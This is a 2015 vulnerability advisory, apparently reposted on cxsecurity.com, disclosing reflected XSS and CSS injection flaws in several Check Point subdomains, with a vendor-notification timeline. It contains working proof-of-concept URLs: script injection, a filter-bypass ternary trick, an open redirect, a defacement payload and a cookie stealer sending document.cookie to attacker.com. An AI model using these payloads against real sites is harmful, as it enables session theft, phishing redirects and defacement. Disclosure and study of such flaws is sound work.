Checkpoint Cross Site Scripting

2015.11.12
Credit: Yann CAM
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

###################################################################### # Exploit Title: Checkpoint.com sub-domains Reflected XSS (RXSS) # Date: 12/11/2015 # Author: Yann CAM @ Synetis - ASafety # Vendor or Software Link: www.checkpoint.com # Version: / # Category: Reflected Cross Site Scripting # Google dork: # Tested on: checkpoint.com sub-domains ###################################################################### Checkpoint description : ====================================================================== Check Point Software Technologies Ltd. is an international leader / provider of software and combined hardware and software products for IT security, including network security, endpoint security, data security and security management. Check Point offers the following primary products: Network Security, Software Defined Protection, Public and private cloud security, data security, threatcloud, endpoint security, mobile security, security management, etc. Vulnerability description : ====================================================================== Many Cross-Site Scripting vulnerabilities are identified in CheckPoint sub-domains. - A R-XSS is available in the careers.checkpoint.com. - A CSS injection is available in the supportcenter.checkpoint.com. - A R-XSS limited is available in the threatwiki.checkpoint.com. Through these vulnerabilities, an attacker could tamper with page rendering, redirect victims to fake CheckPoint portals, or capture CheckPoint's users credentials such cookies. These injections are not properly sanitized before being used in pages. Proof of Concept 1 - careers.checkpoint.com - RXSS : ====================================================================== A non-persistent XSS (RXSS) in "country_code" GET param is available in the careers.checkpoint.com sub-domain. Tested on Firefox 41. PoC: https://careers.checkpoint.com/careers/index.php?m=joborders&a=show&jobOrderID=1337&country_code=US"><script>alert(/RXSS - Yann CAM | Security Consultant @ASafety - www.synetis.com/);</script><a href=" Proof of Concept 2 - supportcenter.checkpoint.com - CSS injection : ====================================================================== A CSS injection in "tab" GET param is available in the supportcenter.checkpoint.com sub-domain. Tested on Firefox 41, Chrome 43, IE 11. PoC: https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doSwichtab=&js_peid=P-114a7ba5fd7-10001&tab=Documentation%20style=background:url(https://www.asafety.fr/images/logo.png) The injection is used to define arbitrary attributes on an input tag type "hidden": <input type="hidden" id="currentTab" value="[INJECTION]" /> It is possible to define the "style" attribute to load the CSS on the fly and possibly make XSS based browsers and their versions (-moz-binding, expression(), background-image: url(javascript:) ) ... Proof of Concept 3 - threatwiki.checkpoint.com - RXSS (limited) : ====================================================================== A limited R-XSS is available in the threatwiki.checkpoint.com sub-domain. Tested on Firefox 41. Injection is located in the first string argument of a JavaScript function. "<", ">", "(", ")" and "," are filtered, so it seems not possible to escape the function call. The main injection vector is : https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=1337[INJECTION_HERE] Injection is interpreted in JavaScript in this function call : com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=1337[INJECTION_HERE]&filter=0&parentPage=public", "main", 12500000); With filtered chars listed before, it's not possible to : - Comment the function without generate JavaScript error - Escape from the function call - Rewrite second or third function call attributes The main idea to exploit this injection is to use conditional ternary form concatenated with the first function call argument, like this (RXSS PoC for OpenRedirect vulnerability) : https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388" %2B 1==2 ? 0 : location="http://asafety.fr/" %2B " Function call generated : com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : location="http://asafety.fr/" + "&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000); Another example to exploit this injection - cookie stealer : https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388"%2B1==1 ? 0 : location="http://www.attacker.com/cook.php?x="%2Bdocument.cookie%2B"UNUSED_AFTER_THIS%23 Function call generated : com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : location="http://www.attacker.com/cook.php?x="+document.cookie + "UNUSED_AFTER_THIS&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000); Regenerate the DOM (fake defacement) : https://threatwiki.checkpoint.com/threatwiki/public.htm?oem=287388"%2B1==1 ? 0 : document.body.outerHTML="Yann CAM | Security Consultant @ASafety - www.synetis.com ------"%2B" Function call generated : com_jenkov_prizetags_ajaxReloadPage("malwareList_public.htm?clearAll=true&oem=287388" + 1==2 ? 0 : document.body.outerHTML="Yann CAM | Security Consultant @ASafety - www.synetis.com ------" + "&filter=0&parentPage=public&indicator=null&type=null&filemd5=null", "main", 12500000); So even if JavaScript injection is possible in the first function call argument (to perform an OpenRedirect or steal cookie), the RXSS is limited. It's not possible to load an arbitrary JS file or create an alert(). Screenshots : ====================================================================== - http://www.asafety.fr/data/20150209-Checkpoint_careers_RXSS_002.png - http://www.asafety.fr/data/20150209-Checkpoint_supportcenter_CSSinjection_001.png - http://www.asafety.fr/data/20150209-Checkpoint_threatwiki_RXSS_001-loading.png - http://www.asafety.fr/data/20150209-Checkpoint_threatwiki_RXSS_002-loaded.png - http://www.asafety.fr/data/20150209-Checkpoint_threatwiki_RXSS_003.png Solution: ====================================================================== Fix by CheckPoint Security team. Additional resources : ====================================================================== - http://www.checkpoint.com/ - https://www.asafety.fr/vuln-exploit-poc/checkpoint-rxss-et-injection-en-parametre-de-fonction-js/ - http://www.asafety.fr/ - http://www.synetis.com Report timeline : ====================================================================== 2015-02-11 : CheckPoint Technical Team alerted with details and PoC. 2015-03-31 : Vulnerabilities aren't fixed yet. 2nd email to get a status. 2015-09-20 : RXSS vulnerability seems to be fixed. 2015-09-20 : CSS injection vulnerability seems to be fixed. 2015-11-09 : No feedback from CheckPoint. 2015-11-10 : Public advisory and article Credits : ====================================================================== 88888888 88 888 88 88 888 88 88 788 Z88 88 88.888888 8888888 888888 88 8888888. 888888. 88 88 888 Z88 88 88 88 88 88 88 8888888 88 88 88 88 88 88 88 88 888 888 88 88 88 88 88888888888 88 88 888888 88 88 88 8. 88 88 88 88 88 888 888 ,88 8I88 88 88 88 88 88 88 .88 .88 ?8888888888. 888 88 88 88888888 8888 88 =88888888 888. 88 88 www.synetis.com 8888 Consulting firm in management and information security Yann CAM - Security Consultant @ Synetis | ASafety -- SYNETIS | ASafety CONTACT: www.synetis.com | www.asafety.fr

References:

https://www.asafety.fr/vuln-exploit-poc/checkpoint-rxss-et-injection-en-parametre-de-fonction-js/
http://www.asafety.fr/data/20150209-Checkpoint_careers_RXSS_002.png
http://www.asafety.fr/data/20150209-Checkpoint_supportcenter_CSSinjection_001.png


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top